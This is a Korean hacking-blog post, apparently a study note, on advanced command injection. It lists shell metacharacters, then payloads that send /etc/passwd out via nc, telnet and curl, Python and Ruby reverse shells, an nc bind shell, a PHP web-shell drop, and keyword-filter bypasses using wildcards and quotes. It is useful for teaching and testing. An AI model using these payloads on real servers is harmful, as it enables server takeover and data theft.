쓰고 나서 보니 너무 정적인 글 이라서 지루하다 재미없어도 해킹은 재밌으니 재미있겠지?
실제 웹사이트를 운영하다 보면 직접 사용자의 입력값을 쉘 명령어에 보내야 할 때가 있다.
하지만 악의적인 사용자가 악의적인 입력값을 입력해 서버를 장악해 버리는 엄청난 취약점이다.
이번 포스팅은 command injection을 잘 모르면 이해하기 힘들 수 도 있다.
실제 일반적으로 사용되는 메타문자로는
# 명령어 치환
ls `echo -l`
ls ${echo -l}
# AND (앞 명령어가 정상적으로 작동하면 뒷 명령어가 실행된다.)
pwd && ls -l
# OR (앞 명령어에서 오류가 발생하면 뒷 명령어가 실행된다.)
ls -qqq || ls -l
# 구분자
pwd | ls
pwd ; ls
등등이 사용된다.
하지만 이런 공격들은 쉽게 막히니 심화된 command injection 공격을 정리하기 위해 글을 작성한다.
command injection 결과를 볼 수 없을 때
cat /etc/passwd | nc 127.0.0.1 8000
cat /etc/passwd | telnet 127.0.0.1 8000
cat의 명령어의 결과 값을 127.0.0.1:8000으로 전송해 준다.
curl "http://127.0.0.1:8080/?$(ls -al)"
curl http://127.0.0.1:8080/ -d "$(ls -al)" # -d -> POST
이런 식으로 쿼리에 명령어 결과를 보내기가 가능하다.
다른 언어 사용
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
이런 식으로 다른 언어들을 사용 가능하다.
직접 특정 파일을 포트로 열기
nc -nlvp 8080 -e /bin/sh
이런 식으로 /bin/sh/ 파일을 포트 8080으로 열 수 있다.
문자열을 서버 파일 내부에 삽입하기
printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php
printf 문을 통해서 shell script가 해당 위치에 삽입된다.
리다이렉션 활용
mkdir static; id > static/result.txt
mkdir static을 실행하고 id의 출력결과를 static/result.txt에 쓴다.
와일드카드로 키워드 필터링 bypass
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
?, * 은 해당 자리에 문자를 일치시켜 주는 와일드카드이다.
bin안에 c_t는 cat이 유일하기 때문에 cat을 실행시켜 준다.
`""` `''` 로 키워드 필터링 bypass
c''a""t /etc/passwd
\c\a\t /etc/passwd
`''` `""` 는 공백 문자로 치환되어서 그대로 cat라고 해석된다.
`\` 뒤에 오는 문자는 문자 그래도 해석되어서 cat으로 된다.
'web hacking' 카테고리의 다른 글
HTML/CSS Injection (0) | 2023.07.28 |
---|---|
정보빼가는 SQLi 와 SQLMAP (0) | 2023.07.24 |
SSTI띠띠리리~~ (0) | 2023.07.21 |
전 국민이 직접 시도해본 해킹공격, Brute Force Attack (dreamhack session) (6) | 2023.07.17 |
그냥 XSS는 재미가 없잖아? (XSS filtering bypass) (2) | 2023.07.16 |